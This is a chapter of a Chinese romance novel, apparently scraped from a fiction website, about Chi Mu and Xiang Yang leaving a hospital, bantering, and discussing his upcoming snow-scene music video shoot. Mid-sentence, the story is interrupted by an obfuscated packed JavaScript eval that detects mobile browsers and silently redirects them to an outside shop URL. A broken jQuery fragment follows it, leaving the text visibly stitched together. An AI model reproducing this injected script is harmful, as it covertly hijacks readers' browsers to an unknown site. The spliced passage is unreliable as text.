两人越过拥挤的人群，走到寂静的楼道。
光从楼梯间的玻璃窗户上洒下来，楼道上铺满光影，明暗交织。
池沐自然地伸出手，想要接过她手中的挂号单，询问她的病情：“医生怎么说？”
向阳顺手把单子递给他，回答他的问题：“不是很严重，医生让我先吃药，四五天后再来复查。”
虽然提前猜到结果不严重，但这都只是猜测，不足以令人安心，在听见医生的肯定答案后，池沐也彻底放松，回复道：“不严重就好。”
说话的同时，他在心里盘算了一下时间，发现两个时间段不存在重合后，暗自窃喜，在脑海里做出下一步打算。
楼梯间很安静，除开她两外没有其他人。两人站在窗户下，一同被阳光照耀，感受着春日的暖意，一前一后缓缓往楼下走。
向阳突然想到他在车内的话，觉得有些巧合，像是他刻意为之，于是转过身子挡住他的去路，抬头审问道：“你之前是不是故意的？”
池沐结合她的表情，隐约猜到不是好事，但至于具体指的是什么，他还真没有头绪，狐疑着反问：“什么？”
“你早上是不是故意的。”向阳伸出一只手，一副窥破秘密的表情，质问他，“麦粒肿根本没你说的这样严重。”
她的表情并不具有审讯意味，没有压迫感，反倒更像是带着已知答案在撒娇。
被戳穿后池沐也不恼，脸上依旧带着笑意，镇定自若地为自己辩解：“没有啊！有的人得了麦粒肿的确是要做手术切除。”
他这话逻辑上的确没问题，但在不同语气口吻下，同样的词却能表现出截然相反的语意，就好比肯定语气的“很严重”和反问语气的“很严重”，完全不是一个意思。
向阳一时语塞，明明知晓他之前想要表达的语意和眼下的情况完全相反，但一时半会又找不出明确的证据，只能吃个哑巴亏，不过她也不死心，依旧坚持：“我觉得你就是故意的。”
池沐脸上带着坏笑，像是在挑衅，吃准了向阳没证据，拿他没办法，反倒是故意装傻，问起了当事人：“那你说我故意做什么了？”
“你……”答案呼之欲其，却被临门一脚刹住，戛然而止。
向阳本来气势汹汹的，一副胜券在握的姿态，但吐出来半个字后，接下来的话便说不出口了，总不能说，池沐故意把情况说严重，想要陪她去医院。
这个解释只会显得向阳很自恋，她说不出口。
“反正你就是故意的。”向阳有理却没办法讲出口，但又不愿意在气势上落了下风，依旧想要摆出审问者的姿态，于是说完这句话便直接扭头离开了，完全不打算等池沐，算是对他撒谎的小小惩罚。
向阳步子迈得很大，安全通道里响起有节奏的皮鞋声。
池沐见她扭头离开，不确定她是否生气，赶忙快步追上她：“你等等我。”
两人之间的距离并不大，池沐很快就追上，但他有意保持一定距离，跟在向阳身后半步的位置，这距离正像是二人之间的处境，始终保持着微小距离的朦胧美，界于社交安全距离和绝对亲密距离之间。
池沐轻笑，扯住向阳衣角，向前跨出一步，走到她身旁，主动认输：“我承认我是故意的。”
含着笑意的男声传入向阳的耳里，本以为还会僵持片刻，没想到池沐这么快就选择放低姿态，向阳毫无防备，但也不打算就此罢休，依然端着架子往前迈步。
他扯着她的衣角，轻轻晃动，示弱道：“别走这么快，我跟不上。”
向阳不用回头却也能猜到池沐的表情，一副看起来人畜无害的小白兔模样，实际上一切都在掌握中，但又会主动服软，求饶的态度还算让人满意，于是向阳停下脚步，板着脸打量他，问出最经典的问题：“那你说你错在哪里？”
“错在……”池沐故意停顿，温柔地看着她，这让原本二人之前的氛围变了味，像是在调//情，“不应该撒谎，不应该骗向阳。”
他毫不掩饰，说话的同时早已直勾勾地望向向阳，黑色的眼眸里藏着温柔与深情，无声地吸引着对方进一步深入探究。
向阳明显感觉到自己心跳漏了半拍，像是在走楼梯时突然踩空，一阵惊慌后又结实地踩在地面上，惊吓后她突然头脑一片空白：“你……”
池沐抢在她发问之前，为自己辩解：“但我这不是想和你一起去嘛。”
想和向阳一起去。
为什么想和向阳一起去？
这是一道可以令人无限遐想的问题。
出于友情还是什么其他的感情，没有标准答案，回答者可以自由发散思维。
“好。”向阳总算是找回自己正常的思绪，但依然说不出其他的话。
“那走吧。”池沐站在她的身侧，对她做了个公主礼，有模有样地说道：“请。”
不是完全标准的礼仪，他缩小了动作幅度，不会显得过分突兀。
看似无厘头的行为，却再一次让向阳心跳加速，脸颊绯红，她迟疑半秒点头应下：“好。”
向阳步伐慌乱，趁背对他的瞬间，用手背拍拍掌心，发烫的脸颊使得温度差格外明显，她在心里自言自语：不对劲，好不对劲。
两人拿完药，从安全通道一路向下，直达地下室。
向阳扣上安全带，等待出发。
汽车沿着蜿蜒曲折的上坡路，缓缓驶出。
池沐询问路线：“那直接回剧组？”
“嗯。”向阳把药袋子放在腿上，空闲下来才拆开袋子查看各类药品的服用说明。
“好。”
电话铃响起，自带的铃声使得两个人都默认是自己手机。
向阳赶忙伸手去掏放在大衣口袋里的手机，黑色的屏幕出乎她的意料，只剩下另一种可能：“你的。”
“帮我拿一下。”池沐依旧很淡定，只是抬高右手手臂，示意手机所在的位置，“我不方便。”
为了给接下来期待的举动找一个合情合理的的动机，池沐又补充道：“我正开车呢。”
“好。”向阳身子往左侧探，去摸他的大衣口袋。
突然靠近，二人的距离被紧急缩小，向阳睁眼就能看见他的侧脸。
他穿着黑色经典款运动装，下颌线清晰可见，高挺的鼻梁更是将其颜值提高一个层次，蓬松的头发往两侧偏，挡住他的眼尾，眼前是完美的面部轮廓，向阳不受控地咽了口口水，抑制住心里莫名的情绪，强装镇定，掏出手机。
屏幕上联系人的名字不断闪烁，向阳开口：“韩豪钧。”
“帮我接一下。”池沐并不觉得二人这个举动过于亲密，像是在讲述一个很普通的请求，继续往下讲，“这路上到处都是监控。”
言外之意，他不想拥
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552132|202281||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
有一个付费照片。
“好。”向阳点头，先后按下接听键和免提键。
“池沐……”韩豪钧的声音猝不及防地从手机里传出，像是要宣布什么重大事情，“我……”
池沐原本表情没有太大起伏，片刻间像是突然想到什么，神色慌乱，不等韩豪钧说出一句完整的话，突然开口，毫无征兆地出口打断他：“我现在和剧组编剧老师在一起。”
他语速很快，尽可能地用欢快的语调隐藏掉他那瞬间的慌张。
向阳只听出他语气带着些许急促，却没注意到他在听到韩豪钧开口时有一瞬间的惊慌，像是害怕秘密被发现。
韩豪钧同他默契十足，心领神会，快速反应，将话题来了个一百八十度大转弯，马上改口：“我们……接下来的行程安排好了。”
二人的语气和反应都有些微妙，不够自然，像是在掩盖什么，向阳也捕捉到这一点，狐疑地抬头，看见池沐依旧直视正前方，没有丝毫的异常，便自动认为刚才想要回避的话题属于二人工作机密。
“机票已经买好了。”既然话题已经发生了改变，韩豪钧便顺着刚才的话，继续往下讲，汇报工作。
机票？
向阳对于池沐的行程完全不知情，于是她一次抬头，对上同样看向她的池沐。
“好。”池沐用眼神安抚她，却没有直接解释，继续讲电话，“买的什么时候的？”
“明早的。”
二人又简单交流了一下后续工作安排，便挂断电话。
第三人的声音消失在狭小的空间里，再一次变成二人独处，于是理所当然地轮到池沐同向阳报备接下来的工作计划。
池沐主动解释道：“我明天要去拍专辑主打歌的mv。”
“嗯。”向阳回得敷衍，面无表情，话语里听不出什么情绪波澜。
莫名其妙的，就在刚才那瞬间，向阳错愕过后竟感到失落，心情也低落起来，生起了闷气。
池沐不经意地侧过头，观察她的表情，看着她毫不在意的表情时，内心低落，生出挫败感，不过还是坚持往下讲：“行程是昨天才确定下来的，之前一直在纠结选址。”
向阳在意的点眼下也能找出合理的理由，因为行程不确定，所以没办法提前告知。
“好。”她低落的情绪有所好转。
池沐有些忐忑，难以揣测出她此刻的内心想法，但还是想试一把，厚着脸皮引导她提问：“不问问去哪？”
向阳像是听她指控的机器人，机械地重复他的问题：“那去哪？”
跳过她的问题，池沐反而问道：“想看雪吗？”
阳城地处常年不见雪的南方平原，一年到头来，很难看到雪。向阳做为土生土长的阳城人，除开旅游外很有见过雪，所以雪对于她有天然的吸引力。
听见这话，她下意识地就点头，雀跃道：“想！”
池沐虽然也是土生土长的阳城人，但大学期间去了冰雪并不罕见的地区，从此对雪景没了执念，向阳的反应是她最好的兴奋剂，于是他这才点明目的地：“我们要去拍雪景。”
“哇！”向阳发自内心的赞叹，甚至有些羡慕，“真好。”
路口的绿灯进入最后十秒倒计时，池沐缓缓降低车速，车子卡着最后三秒到达停在停止线，他一只手搭在方向盘，转头问道：“还记得高三那年的雪吗？”